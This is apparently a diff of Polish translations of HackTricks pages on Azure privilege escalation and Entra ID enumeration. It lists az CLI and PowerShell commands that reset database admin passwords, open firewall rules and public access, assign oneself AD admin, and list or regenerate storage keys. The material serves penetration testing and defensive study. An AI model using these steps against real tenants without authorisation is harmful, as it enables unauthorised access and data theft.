Aby uzyskać więcej informacji na temat SQL Database, sprawdź:
{% content-ref url="../az-services/az-mysql.md" %}
[az-mysql.md](../az-services/az-mysql.md)
{% endcontent-ref %}
{{#ref}}
../az-services/az-mysql.md
{{#endref}}
### ""Microsoft.DBforMySQL/flexibleServers/read" && "Microsoft.DBforMySQL/flexibleServers/write"
### `Microsoft.DBforMySQL/flexibleServers/read` && `Microsoft.DBforMySQL/flexibleServers/write`
Dzięki temu uprawnieniu możesz tworzyć, aktualizować lub usuwać instancje MySQL Flexible Server w Azure. Obejmuje to provisionowanie nowych serwerów, modyfikowanie istniejących konfiguracji serwerów lub wycofywanie serwerów.
{% code overflow="wrap" %}
```bash
az mysql flexible-server create \
--name <ServerName> \
@@ -27,32 +24,20 @@ az mysql flexible-server create \
--tier <PricingTier> \
--version <MySQLVersion>
```
{% endcode %}
Na przykład, te uprawnienia pozwalają na zmianę hasła MySQL, co jest przydatne w przypadku, gdy uwierzytelnianie MySQL jest włączone.
{% code overflow="wrap" %}
Na przykład, te uprawnienia pozwalają na zmianę hasła MySQL, co jest przydatne, oczywiście, w przypadku, gdy uwierzytelnianie MySQL jest włączone.
```bash
az mysql flexible-server update \
--resource-group <resource_group_name> \
--name <server_name> \
--admin-password <password_to_update>
```
{% endcode %}
Dodatkowo konieczne jest włączenie dostępu publicznego, jeśli chcesz uzyskać dostęp z punktu końcowego, który nie jest prywatny. Aby to włączyć:
{% code overflow="wrap" %}
```bash
az mysql flexible-server update --resource-group <resource_group_name> --server-name <server_name> --public-access Enabled
```
{% endcode %}
### ""Microsoft.DBforMySQL/flexibleServers/read", "Microsoft.DBforMySQL/flexibleServers/write", "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action", "Microsoft.DBforMySQL/flexibleServers/administrators/write" && "Microsoft.DBforMySQL/flexibleServers/administrators/read""
### `Microsoft.DBforMySQL/flexibleServers/read`, `Microsoft.DBforMySQL/flexibleServers/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.DBforMySQL/flexibleServers/administrators/write` && `Microsoft.DBforMySQL/flexibleServers/administrators/read`
Dzięki temu uprawnieniu możesz skonfigurować administratorów Azure Active Directory (AD) dla elastycznego serwera MySQL. Można to wykorzystać, ustawiając siebie lub inne konto jako administratora AD, co daje pełną kontrolę administracyjną nad serwerem MySQL. Ważne jest, aby elastyczny serwer miał przypisane zarządzane tożsamości użytkowników do użycia.
{% code overflow="wrap" %}
```bash
az mysql flexible-server ad-admin create \
--resource-group <ResourceGroupName> \
@@ -61,6 +46,4 @@ az mysql flexible-server ad-admin create \
--identity <IdentityNameOrID> \
--object-id <ObjectID>
```
{% endcode %}
{{#include ../../../banners/hacktricks-training.md}}
@@ -5,15 +5,13 @@
## PostgreSQL Privesc
Aby uzyskać więcej informacji na temat SQL Database, sprawdź:
{% content-ref url="../az-services/az-postgresql.md" %}
{{#ref}}
[az-postgresql.md](../az-services/az-postgresql.md)
{% endcontent-ref %}
{{#endref}}
### "Microsoft.DBforPostgreSQL/flexibleServers/read" && "Microsoft.DBforPostgreSQL/flexibleServers/write"
### `Microsoft.DBforPostgreSQL/flexibleServers/read` && `Microsoft.DBforPostgreSQL/flexibleServers/write`
Dzięki temu uprawnieniu możesz tworzyć, aktualizować lub usuwać instancje PostgreSQL Flexible Server w Azure. Obejmuje to provisionowanie nowych serwerów, modyfikowanie istniejących konfiguracji serwerów lub wycofywanie serwerów.
{% code overflow="wrap" %}
```bash
az postgres flexible-server create \
--name <ServerName> \
@@ -26,34 +24,22 @@ az postgres flexible-server create \
--tier <PricingTier> \
--version <PostgreSQLVersion>
```
{% endcode %}
Na przykład, te uprawnienia pozwalają na zmianę hasła PostgreSQL, co jest przydatne w przypadku, gdy uwierzytelnianie PostgreSQL jest włączone.
{% code overflow="wrap" %}
```bash
az postgres flexible-server update \
--resource-group <resource_group_name> \
--name <server_name> \
--admin-password <password_to_update>
```
{% endcode %}
Dodatkowo konieczne jest włączenie dostępu publicznego, jeśli chcesz uzyskać dostęp z punktu końcowego, który nie jest prywatny. Aby to włączyć:
{% code overflow="wrap" %}
```bash
az postgres flexible-server update --resource-group <resource_group_name> --server-name <server_name> --public-access Enabled
```
{% endcode %}
### "Microsoft.DBforPostgreSQL/flexibleServers/read", "Microsoft.DBforPostgreSQL/flexibleServers/write", "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action", "Microsoft.DBforPostgreSQL/flexibleServers/administrators/write" && "Microsoft.DBforPostgreSQL/flexibleServers/administrators/read"
### `Microsoft.DBforPostgreSQL/flexibleServers/read`, `Microsoft.DBforPostgreSQL/flexibleServers/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.DBforPostgreSQL/flexibleServers/administrators/write` && `Microsoft.DBforPostgreSQL/flexibleServers/administrators/read`
Dzięki temu uprawnieniu możesz skonfigurować administratorów Azure Active Directory (AD) dla elastycznego serwera PostgreSQL. Można to wykorzystać, ustawiając siebie lub inne konto jako administratora AD, co daje pełną kontrolę administracyjną nad serwerem PostgreSQL. Aktualizacja istniejącego głównego konta nie jest jeszcze obsługiwana, więc jeśli takie zostało utworzone, musisz je najpierw usunąć.
Ważne jest, aby elastyczny serwer miał przypisane zarządzane tożsamości użytkowników do użycia.
{% code overflow="wrap" %}
```bash
az postgres flexible-server ad-admin create \
--resource-group <ResourceGroupName> \
@@ -62,6 +48,4 @@ az postgres flexible-server ad-admin create \
--identity <IdentityNameOrID> \
--object-id <ObjectID>
```
{% endcode %}
{{#include ../../../banners/hacktricks-training.md}}
@@ -127,9 +127,9 @@ asyncio.run(receive_and_process_messages())
print("Message Receiving Completed")
print("----------------------------")
```
### `Microsoft.ServiceBus/namespaces/authorizationRules/write` & `Microsoft.ServiceBus/namespaces/authorizationRules/write`
### `Microsoft.ServiceBus/namespaces/authorizationRules/read` & `Microsoft.ServiceBus/namespaces/authorizationRules/write`
Jeśli masz te uprawnienia, możesz podnieść swoje uprawnienia, odczytując lub tworząc klucze dostępu współdzielonego. Te klucze umożliwiają pełną kontrolę nad przestrzenią nazw Service Bus, w tym zarządzanie kolejkami, tematami oraz wysyłaniem/odbieraniem wiadomości, potencjalnie omijając kontrole dostępu oparte na rolach (RBAC).
Jeśli masz te uprawnienia, możesz podnieść uprawnienia, odczytując lub tworząc klucze dostępu współdzielonego. Te klucze umożliwiają pełną kontrolę nad przestrzenią nazw Service Bus, w tym zarządzanie kolejkami, tematami oraz wysyłaniem/odbieraniem wiadomości, potencjalnie omijając kontrole dostępu oparte na rolach (RBAC).
```bash
az servicebus namespace authorization-rule update \
--resource-group <MyResourceGroup> \
@@ -10,7 +10,7 @@ Aby uzyskać więcej informacji na temat SQL Database, sprawdź:
../az-services/az-sql.md
{{#endref}}
### "Microsoft.Sql/servers/read" && "Microsoft.Sql/servers/write"
### `Microsoft.Sql/servers/read` && `Microsoft.Sql/servers/write`
Dzięki tym uprawnieniom użytkownik może przeprowadzić eskalację uprawnień, aktualizując lub tworząc serwery Azure SQL oraz modyfikując krytyczne konfiguracje, w tym dane uwierzytelniające administratora. To uprawnienie pozwala użytkownikowi na aktualizację właściwości serwera, w tym hasła administratora SQL, co umożliwia nieautoryzowany dostęp lub kontrolę nad serwerem. Mogą również tworzyć nowe serwery, potencjalnie wprowadzając infrastrukturę cieniową w celach złośliwych. Staje się to szczególnie krytyczne w środowiskach, w których "Microsoft Entra Authentication Only" jest wyłączone, ponieważ mogą wykorzystać uwierzytelnianie oparte na SQL, aby uzyskać nieograniczony dostęp.
```bash
@@ -28,14 +28,14 @@ az sql server create \
--admin-user <admin_username> \
--admin-password <admin_password>
```
Dodatkowo konieczne jest włączenie dostępu publicznego, jeśli chcesz uzyskać dostęp z punktu końcowego, który nie jest prywatny. Aby to włączyć:
Dodatkowo, konieczne jest włączenie dostępu publicznego, jeśli chcesz uzyskać dostęp z punktu końcowego, który nie jest prywatny. Aby to włączyć:
```bash
az sql server update \
--name <server-name> \
--resource-group <resource-group> \
--enable-public-network true
```
### "Microsoft.Sql/servers/firewallRules/write"
### `Microsoft.Sql/servers/firewallRules/write`
Atakujący może manipulować regułami zapory na serwerach Azure SQL, aby umożliwić nieautoryzowany dostęp. Może to być wykorzystane do otwarcia serwera na konkretne adresy IP lub całe zakresy adresów IP, w tym publiczne adresy IP, co umożliwia dostęp dla złośliwych aktorów. Ta aktywność po eksploatacji może być używana do obejścia istniejących zabezpieczeń sieciowych, ustanowienia trwałości lub ułatwienia ruchu lateralnego w środowisku poprzez ujawnienie wrażliwych zasobów.
```bash
@@ -55,12 +55,12 @@ az sql server firewall-rule update \
--start-ip-address <new-start-ip-address> \
--end-ip-address <new-end-ip-address>
```
Dodatkowo, `Microsoft.Sql/servers/outboundFirewallRules/delete` uprawnienie pozwala na usunięcie reguły zapory.
UWAGA: Należy mieć włączony dostęp publiczny
Dodatkowo, uprawnienie `Microsoft.Sql/servers/outboundFirewallRules/delete` pozwala na usunięcie reguły zapory.
UWAGA: Należy mieć włączony dostęp publiczny.
### ""Microsoft.Sql/servers/ipv6FirewallRules/write"
### `Microsoft.Sql/servers/ipv6FirewallRules/write`
Dzięki temu uprawnieniu możesz tworzyć, modyfikować lub usuwać reguły zapory IPv6 na serwerze Azure SQL. Może to umożliwić atakującemu lub uprawnionemu użytkownikowi ominięcie istniejących konfiguracji zabezpieczeń sieciowych i uzyskanie nieautoryzowanego dostępu do serwera. Dodając regułę, która pozwala na ruch z dowolnego adresu IPv6, atakujący mógłby otworzyć serwer na dostęp zewnętrzny.
Dzięki temu uprawnieniu możesz tworzyć, modyfikować lub usuwać reguły zapory IPv6 na serwerze Azure SQL. Może to umożliwić atakującemu lub uprawnionemu użytkownikowi ominięcie istniejących konfiguracji zabezpieczeń sieciowych i uzyskanie nieautoryzowanego dostępu do serwera. Dodając regułę, która pozwala na ruch z dowolnego adresu IPv6, atakujący może otworzyć serwer na dostęp zewnętrzny.
```bash
az sql server firewall-rule create \
--server <server_name> \
@@ -70,9 +70,9 @@ az sql server firewall-rule create \
--end-ip-address <end_ipv6_address>
```
Dodatkowo, uprawnienie `Microsoft.Sql/servers/ipv6FirewallRules/delete` pozwala na usunięcie reguły zapory.
UWAGA: Należy mieć włączony dostęp publiczny
UWAGA: Należy mieć włączony dostęp publiczny.
### "Microsoft.Sql/servers/administrators/write" && "Microsoft.Sql/servers/administrators/read"
### `Microsoft.Sql/servers/administrators/write` && `Microsoft.Sql/servers/administrators/read`
Dzięki tym uprawnieniom możesz uzyskać podwyższone uprawnienia w środowisku Azure SQL Server, uzyskując dostęp do baz danych SQL i odzyskując krytyczne informacje. Używając poniższego polecenia, atakujący lub uprawniony użytkownik może ustawić siebie lub inne konto jako administratora Azure AD. Jeśli "Microsoft Entra Authentication Only" jest włączone, możesz uzyskać dostęp do serwera i jego instancji. Oto polecenie do ustawienia administratora Azure AD dla serwera SQL:
```bash
@@ -82,7 +82,7 @@ az sql server ad-admin create \
--display-name <admin_display_name> \
--object-id <azure_subscribtion_id>
```
### "Microsoft.Sql/servers/azureADOnlyAuthentications/write" && "Microsoft.Sql/servers/azureADOnlyAuthentications/read"
### `Microsoft.Sql/servers/azureADOnlyAuthentications/write` && `Microsoft.Sql/servers/azureADOnlyAuthentications/read`
Dzięki tym uprawnieniom możesz skonfigurować i wymusić "Tylko uwierzytelnianie Microsoft Entra" na serwerze Azure SQL, co może ułatwić eskalację uprawnień w niektórych scenariuszach. Atakujący lub uprawniony użytkownik z tymi uprawnieniami może włączyć lub wyłączyć uwierzytelnianie tylko przez Azure AD.
```bash
@@ -10,23 +10,23 @@ Aby uzyskać więcej informacji na temat przechowywania, sprawdź:
../az-services/az-storage.md
{{#endref}}
### Microsoft.Storage/storageAccounts/listkeys/action
### `Microsoft.Storage/storageAccounts/listkeys/action`
Podmiot z tym uprawnieniem będzie mógł wylistować (oraz wartości sekretne) **kluczy dostępu** kont przechowywania. Umożliwia to podmiotowi eskalację jego uprawnień w kontach przechowywania.
Podmiot z tym uprawnieniem będzie mógł wylistować (i wartości sekretne) **kluczy dostępu** kont przechowywania. Pozwoli to podmiotowi na eskalację jego uprawnień w kontach przechowywania.
```bash
az storage account keys list --account-name <acc-name>
```
### Microsoft.Storage/storageAccounts/regenerateKey/action
### `Microsoft.Storage/storageAccounts/regenerateKey/action`
Principal z tym uprawnieniem będzie mógł odnowić i uzyskać nową wartość sekretu **kluczy dostępu** konta magazynowego. Pozwoli to głównemu na eskalację swoich uprawnień w odniesieniu do kont magazynowych.
Principal z tym uprawnieniem będzie mógł odnowić i uzyskać nową wartość sekretu **kluczy dostępu** konta magazynowego. Pozwoli to principalowi na eskalację jego uprawnień w odniesieniu do kont magazynowych.
Ponadto w odpowiedzi użytkownik otrzyma wartość odnowionego klucza oraz klucza, który nie został odnowiony:
Ponadto w odpowiedzi użytkownik otrzyma wartość odnowionego klucza oraz wartość klucza, który nie został odnowiony:
```bash
az storage account keys renew --account-name <acc-name> --key key2
```
### Microsoft.Storage/storageAccounts/write
### `Microsoft.Storage/storageAccounts/write`
Osoba z tym uprawnieniem będzie moa tworzyć lub aktualizować istniejące konto magazynu, zmieniając dowolne ustawienie, takie jak zasady sieciowe lub polityki.
Principal z tym uprawnieniem będzie mógł tworzyć lub aktualizować istniejące konto magazynu, aktualizując dowolne ustawienie, takie jak zasady sieciowe lub polityki.
```bash
# e.g. set default action to allow so network restrictions are avoided
az storage account update --name <acc-name> --default-action Allow
@@ -36,7 +36,7 @@ az storage account update --name <acc-name> --add networkRuleSet.ipRules value=<
```
## Blobs Specific privesc
### Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/write | Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/delete
### `Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/write` | `Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/delete`
Pierwsze uprawnienie pozwala na **modyfikację polityk niezmienności** w kontenerach, a drugie na ich usunięcie.
@@ -56,21 +56,21 @@ az storage container immutability-policy update \
```
## File shares specific privesc
### Microsoft.Storage/storageAccounts/fileServices/takeOwnership/action
### `Microsoft.Storage/storageAccounts/fileServices/takeOwnership/action`
To powinno umożliwić użytkownikowi posiadającemu tę uprawnienie przejęcie własności plików w udostępnionym systemie plików.
### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/modifypermissions/action
### `Microsoft.Storage/storageAccounts/fileServices/fileshares/files/modifypermissions/action`
To powinno umożliwić użytkownikowi posiadającemu tę uprawnienie modyfikację uprawnień plików w udostępnionym systemie plików.
### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/actassuperuser/action
### `Microsoft.Storage/storageAccounts/fileServices/fileshares/files/actassuperuser/action`
To powinno umożliwić użytkownikowi posiadającemu tę uprawnienie wykonywanie działań w systemie plików jako superużytkownik.
### Microsoft.Storage/storageAccounts/localusers/write (Microsoft.Storage/storageAccounts/localusers/read)
### `Microsoft.Storage/storageAccounts/localusers/write (Microsoft.Storage/storageAccounts/localusers/read)`
Dzięki temu uprawnieniu, atakujący może tworzyć i aktualizować (jeśli ma uprawnienie `Microsoft.Storage/storageAccounts/localusers/read`) nowego lokalnego użytkownika dla konta Azure Storage (skonfigurowanego z hierarchiczną przestrzenią nazw), w tym określenie uprawnień użytkownika i katalogu domowego. To uprawnienie jest istotne, ponieważ pozwala atakującemu przyznać sobie dostęp do konta magazynu z określonymi uprawnieniami, takimi jak odczyt (r), zapis (w), usunięcie (d) i lista (l) oraz inne. Dodatkowo metody uwierzytelniania, które to wykorzystuje, mogą obejmować hasła generowane przez Azure i pary kluczy SSH. Nie ma sprawdzenia, czy użytkownik już istnieje, więc można nadpisać innych użytkowników, którzy już tam są. Atakujący mógłby podnieść swoje uprawnienia i uzyskać dostęp SSH do konta magazynu, potencjalnie ujawniając lub kompromitując wrażliwe dane.
Dzięki temu uprawnieniu, atakujący może tworzyć i aktualizować (jeśli ma uprawnienie `Microsoft.Storage/storageAccounts/localusers/read`) nowego lokalnego użytkownika dla konta Azure Storage (skonfigurowanego z hierarchiczną przestrzenią nazw), w tym określenie uprawnień użytkownika i katalogu domowego. To uprawnienie jest istotne, ponieważ pozwala atakującemu przyznać sobie dostęp do konta storage z określonymi uprawnieniami, takimi jak odczyt (r), zapis (w), usunięcie (d) i lista (l) oraz inne. Dodatkowo metody uwierzytelniania, które to wykorzystuje, mogą obejmować hasła generowane przez Azure oraz pary kluczy SSH. Nie ma sprawdzenia, czy użytkownik już istnieje, więc można nadpisać innych użytkowników, którzy już tam są. Atakujący mógłby podnieść swoje uprawnienia i uzyskać dostęp SSH do konta storage, potencjalnie ujawniając lub kompromitując wrażliwe dane.
```bash
az storage account local-user create \
--account-name <STORAGE_ACCOUNT_NAME> \
@@ -80,7 +80,7 @@ az storage account local-user create \
--home-directory <HOME_DIRECTORY> \
--has-ssh-key false/true # Depends on the auth method to use
```
### Microsoft.Storage/storageAccounts/localusers/regeneratePassword/action
### `Microsoft.Storage/storageAccounts/localusers/regeneratePassword/action`
Dzięki temu uprawnieniu, atakujący może zregenerować hasło dla lokalnego użytkownika w koncie Azure Storage. Daje to atakującemu możliwość uzyskania nowych poświadczeń uwierzytelniających (takich jak hasło SSH lub SFTP) dla użytkownika. Wykorzystując te poświadczenia, atakujący mógłby uzyskać nieautoryzowany dostęp do konta storage, przeprowadzać transfery plików lub manipulować danymi w kontenerach storage. Może to prowadzić do wycieku danych, uszkodzenia lub złośliwej modyfikacji zawartości konta storage.
```bash
@@ -94,9 +94,9 @@ Aby uzyskać dostęp do Azure Blob Storage za pomocą SFTP (is_hns_enabled powin
sftp <storage-account-name>.<local-user-name>@<storage-account-name>.blob.core.windows.net
#regenerated-password
```
### Microsoft.Storage/storageAccounts/restoreBlobRanges/action, Microsoft.Storage/storageAccounts/blobServices/containers/read, Microsoft.Storage/storageAccounts/read && Microsoft.Storage/storageAccounts/listKeys/action
### `Microsoft.Storage/storageAccounts/restoreBlobRanges/action`, `Microsoft.Storage/storageAccounts/blobServices/containers/read`, `Microsoft.Storage/storageAccounts/read` && `Microsoft.Storage/storageAccounts/listKeys/action`
Dzięki tym uprawnieniom atakujący może przywrócić usunięty kontener, podając jego ID usuniętej wersji lub przywrócić konkretne bloby w kontenerze, jeśli zostały wcześniej usunięte w sposób miękki. Ta eskalacja uprawnień może pozwolić atakującemu na odzyskanie wrażliwych danych, które miały być trwale usunięte, co potencjalnie prowadzi do nieautoryzowanego dostępu.
Dzięki tym uprawnieniom atakujący może przywrócić usunięty kontener, podając jego ID wersji usuniętej lub przywrócić konkretne bloby w kontenerze, jeśli były wcześniej usunięte w sposób miękki. Ta eskalacja uprawnień może pozwolić atakującemu na odzyskanie wrażliwych danych, które miały być trwale usunięte, co potencjalnie prowadzi do nieautoryzowanego dostępu.
```bash
#Restore the soft deleted container
az storage container restore \
@@ -110,9 +110,9 @@ az storage blob undelete \
--container-name <CONTAINER_NAME> \
--name "fileName.txt"
```
### Microsoft.Storage/storageAccounts/fileServices/shares/restore/action && Microsoft.Storage/storageAccounts/read
### `Microsoft.Storage/storageAccounts/fileServices/shares/restore/action` && `Microsoft.Storage/storageAccounts/read`
Dzięki tym uprawnieniom, atakujący może przywrócić usunięty udział plików Azure, określając jego ID wersji usuniętej. Ta eskalacja uprawnień może pozwolić atakującemu na odzyskanie wrażliwych danych, które miały zostać trwale usunięte, co potencjalnie prowadzi do nieautoryzowanego dostępu.
Dzięki tym uprawnieniom, atakujący może przywrócić usuniętą usługę plików Azure, określając jej ID usuniętej wersji. Ta eskalacja uprawnień może pozwolić atakującemu na odzyskanie wrażliwych danych, które miały zostać trwale usunięte, co potencjalnie prowadzi do nieautoryzowanego dostępu.
```bash
az storage share-rm restore \
--storage-account <STORAGE_ACCOUNT_NAME> \
@@ -4,9 +4,9 @@
## Podstawowe informacje
Azure Active Directory (Azure AD) jest usługą Microsoftu opartą na chmurze, służącą do zarządzania tożsamością i dostępem. Jest kluczowa w umożliwieniu pracownikom logowania się i uzyskiwania dostępu do zasobów, zarówno wewnątrz, jak i poza organizacją, obejmując Microsoft 365, portal Azure oraz wiele innych aplikacji SaaS. Projekt Azure AD koncentruje się na dostarczaniu podstawowych usług tożsamości, w tym **uwierzytelniania, autoryzacji i zarządzania użytkownikami**.
Azure Active Directory (Azure AD) jest usługą opartą na chmurze firmy Microsoft do zarządzania tożsamością i dostępem. Jest kluczowa w umożliwieniu pracownikom logowania się i uzyskiwania dostępu do zasobów, zarówno w obrębie organizacji, jak i poza nią, obejmując Microsoft 365, portal Azure oraz wiele innych aplikacji SaaS. Projekt Azure AD koncentruje się na dostarczaniu podstawowych usług tożsamości, w tym **uwierzytelniania, autoryzacji i zarządzania użytkownikami**.
Kluczowe funkcje Azure AD obejmują **uwierzytelnianie wieloskładnikowe** oraz **dostęp warunkowy**, a także bezproblemową integrację z innymi usługami zabezpieczeń Microsoftu. Te funkcje znacznie podnoszą bezpieczeństwo tożsamości użytkowników i umożliwiają organizacjom skuteczne wdrażanie i egzekwowanie polityk dostępu. Jako fundamentalny element ekosystemu usług chmurowych Microsoftu, Azure AD jest kluczowy dla zarządzania tożsamościami użytkowników w chmurze.
Kluczowe funkcje Azure AD obejmują **uwierzytelnianie wieloskładnikowe** i **dostęp warunkowy**, a także bezproblemową integrację z innymi usługami zabezpieczeń Microsoft. Te funkcje znacznie podnoszą bezpieczeństwo tożsamości użytkowników i umożliwiają organizacjom skuteczne wdrażanie i egzekwowanie polityk dostępu. Jako fundamentalny element ekosystemu usług chmurowych Microsoft, Azure AD jest kluczowy dla zarządzania tożsamościami użytkowników w chmurze.
## Enumeracja
@@ -184,9 +184,9 @@ Connect-AzureAD -AccountId test@corp.onmicrosoft.com -AadAccessToken $token
{{#endtab }}
{{#endtabs }}
Kiedy **logujesz się** przez **CLI** do Azure za pomocą dowolnego programu, używasz **Aplikacji Azure** z **dzierżawy**, która należy do **Microsoft**. Te Aplikacje, podobnie jak te, które możesz stworzyć w swoim koncie, **mają identyfikator klienta**. **Nie będziesz w stanie zobaczyć ich wszystkich** na **listach dozwolonych aplikacji**, które możesz zobaczyć w konsoli, **ale są one dozwolone domyślnie**.
Kiedy **logujesz się** za pomocą **CLI** do Azure z dowolnego programu, używasz **Aplikacji Azure** z **dzierżawy**, która należy do **Microsoftu**. Te Aplikacje, podobnie jak te, które możesz stworzyć w swoim koncie, **mają identyfikator klienta**. **Nie będziesz w stanie zobaczyć ich wszystkich** na **listach dozwolonych aplikacji**, które możesz zobaczyć w konsoli, **ale są one dozwolone domyślnie**.
Na przykład **skrypt powershell**, który **autoryzuje** używa aplikacji z identyfikatorem klienta **`1950a258-227b-4e31-a9cf-717495945fc2`**. Nawet jeśli aplikacja nie pojawia się w konsoli, administrator systemu może **zablokować tę aplikację**, aby użytkownicy nie mogli uzyskać dostępu za pomocą narzędzi, które łączą się przez tę aplikację.
Na przykład **skrypt powershell**, który **autoryzuje**, używa aplikacji z identyfikatorem klienta **`1950a258-227b-4e31-a9cf-717495945fc2`**. Nawet jeśli aplikacja nie pojawia się w konsoli, administrator systemu może **zablokować tę aplikację**, aby użytkownicy nie mogli uzyskać dostępu za pomocą narzędzi, które łączą się przez tę aplikację.
Jednak istnieją **inne identyfikatory klientów** aplikacji, które **pozwolą ci połączyć się z Azure**:
```bash
@@ -792,7 +792,7 @@ Get-AzureADApplication -ObjectId <id> | Get-AzureADApplicationOwner |fl *
{{#endtabs }}
> [!WARNING]
> Aplikacja z uprawnieniem **`AppRoleAssignment.ReadWrite`** może **eskalować do Global Admin** poprzez nadanie sobie roli.\
> Aplikacja z uprawnieniem **`AppRoleAssignment.ReadWrite`** może **uzyskać dostęp do Global Admin** poprzez nadanie sobie roli.\
> Aby uzyskać więcej informacji [**sprawdź to**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48).
> [!NOTE]
@@ -892,16 +892,9 @@ Get-AzRoleAssignment -Scope /subscriptions/<subscription-id>/resourceGroups/<res
Get-AzDenyAssignment # Get from current subscription
Get-AzDenyAssignment -Scope '/subscriptions/96231a05-34ce-4eb4-aa6a-70759cbb5e83/resourcegroups/testRG/providers/Microsoft.Web/sites/site1'
```
{{#endtab }}
{{#endtabs }}
```
{{#endtab }}
{{#tab name="Raw" }}
```bash
# Uzyskaj uprawnienia do zasobu za pomocą ARM bezpośrednio
# Get permissions over a resource using ARM directly
$Token = (Get-AzAccessToken).Token
$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resourceGroups/Research/providers/Microsoft.Compute/virtualMachines/infradminsrv/providers/Microsoft.Authorization/permissions?api-version=2015-07-01'
$RequestParams = @{
@@ -913,13 +906,12 @@ Headers = @{
}
(Invoke-RestMethod @RequestParams).value
```
{{#endtab }}
{{#endtabs }}
### Entra ID Roles
### Role Entra ID
For more information about Azure roles check:
Aby uzyskać więcej informacji na temat ról Azure, sprawdź:
{{#ref}}
../az-basic-information/
@@ -927,134 +919,125 @@ For more information about Azure roles check:
{{#tabs }}
{{#tab name="az cli" }}
```bash
# Lista szablonów ról Entra ID
# List template Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoleTemplates"
# Lista włączonych wbudowanych ról Entra ID
# List enabled built-in Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles"
# Lista wszystkich ról Entra ID z ich uprawnieniami (w tym ról niestandardowych)
# List all Entra ID roles with their permissions (including custom roles)
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions"
# Lista tylko niestandardowych ról Entra ID
# List only custom Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)'
# Lista wszystkich przypisanych ról Entra ID
# List all assigned Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments"
# Lista członków ról Entra ID
# List members of a Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles/<role-id>/members"
# Lista ról Entra ID przypisanych do użytkownika
# List Entra ID roles assigned to a user
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/users/<user-id>/memberOf/microsoft.graph.directoryRole" \
--query "value[]" \
--output json
# Lista ról Entra ID przypisanych do grupy
# List Entra ID roles assigned to a group
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/groups/$GROUP_ID/memberOf/microsoft.graph.directoryRole" \
--query "value[]" \
--output json
# Lista ról Entra ID przypisanych do głównego obiektu usługi
# List Entra ID roles assigned to a service principal
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$SP_ID/memberOf/microsoft.graph.directoryRole" \
--query "value[]" \
--output json
```
{{#endtab }}
{{#tab name="Azure AD" }}
```bash
# Pobierz wszystkie dostępne szablony ról
# Get all available role templates
Get-AzureADDirectoryroleTemplate
# Pobierz włączone role (przypisane role)
# Get enabled roles (Assigned roles)
Get-AzureADDirectoryRole
Get-AzureADDirectoryRole -ObjectId <roleID> #Pobierz informacje o roli
# Pobierz niestandardowe role - użyj AzureAdPreview
Get-AzureADDirectoryRole -ObjectId <roleID> #Get info about the role
# Get custom roles - use AzureAdPreview
Get-AzureADMSRoleDefinition | ?{$_.IsBuiltin -eq $False} | select DisplayName
# Użytkownicy przypisani do roli (Global Administrator)
# Users assigned a role (Global Administrator)
Get-AzureADDirectoryRole -Filter "DisplayName eq 'Global Administrator'" | Get-AzureADDirectoryRoleMember
Get-AzureADDirectoryRole -ObjectId <id> | fl
# Role jednostki administracyjnej (kto ma uprawnienia do jednostki administracyjnej i jej członków)
# Roles of the Administrative Unit (who has permissions over the administrative unit and its members)
Get-AzureADMSScopedRoleMembership -Id <id> | fl *
```
{{#endtab }}
{{#endtabs }}
### Devices
### Urządzenia
{{#tabs }}
{{#tab name="az cli" }}
```bash
# Jeśli wiesz, jak to zrobić, wyślij PR!
# If you know how to do this send a PR!
```
{{#endtab }}
{{#tab name="MS Graph" }}
```bash
# Enumeracja urządzeń za pomocą Microsoft Graph PowerShell
# Enumerate devices using Microsoft Graph PowerShell
Get-MgDevice -All
# Pobierz szczegóły urządzenia
# Get device details
Get-MgDevice -DeviceId <DeviceId> | Format-List *
# Pobierz urządzenia zarządzane za pomocą Intune
# Get devices managed using Intune
Get-MgDevice -Filter "isCompliant eq true" -All
# Pobierz urządzenia należące do użytkownika
# Get devices owned by a user
Get-MgUserOwnedDevice -UserId test@corp.onmicrosoft.com
# Wyświetl dostępne polecenia w Microsoft Graph PowerShell
# List available commands in Microsoft Graph PowerShell
Get-Command -Module Microsoft.Graph.Identity.DirectoryManagement
```
{{#endtab }}
{{#tab name="Azure AD" }}
```bash
# Enumeracja urządzeń
# Enumerate Devices
Get-AzureADDevice -All $true | fl *
# Wylistuj wszystkie aktywne urządzenia (a nie przestarzałe urządzenia)
# List all the active devices (and not the stale devices)
Get-AzureADDevice -All $true | ?{$_.ApproximateLastLogonTimeStamp -ne $null}
# Uzyskaj właścicieli wszystkich urządzeń
# Get owners of all devices
Get-AzureADDevice -All $true | Get-AzureADDeviceRegisteredOwner
Get-AzureADDevice -All $true | %{if($user=Get-AzureADDeviceRegisteredOwner -ObjectId $_.ObjectID){$_;$user.UserPrincipalName;"`n"}}
# Zarejestrowani użytkownicy wszystkich urządzeń
# Registred users of all the devices
Get-AzureADDevice -All $true | Get-AzureADDeviceRegisteredUser
Get-AzureADDevice -All $true | %{if($user=Get-AzureADDeviceRegisteredUser -ObjectId $_.ObjectID){$_;$user.UserPrincipalName;"`n"}}
# Uzyskaj urządzenia zarządzane za pomocą Intune
# Get dives managed using Intune
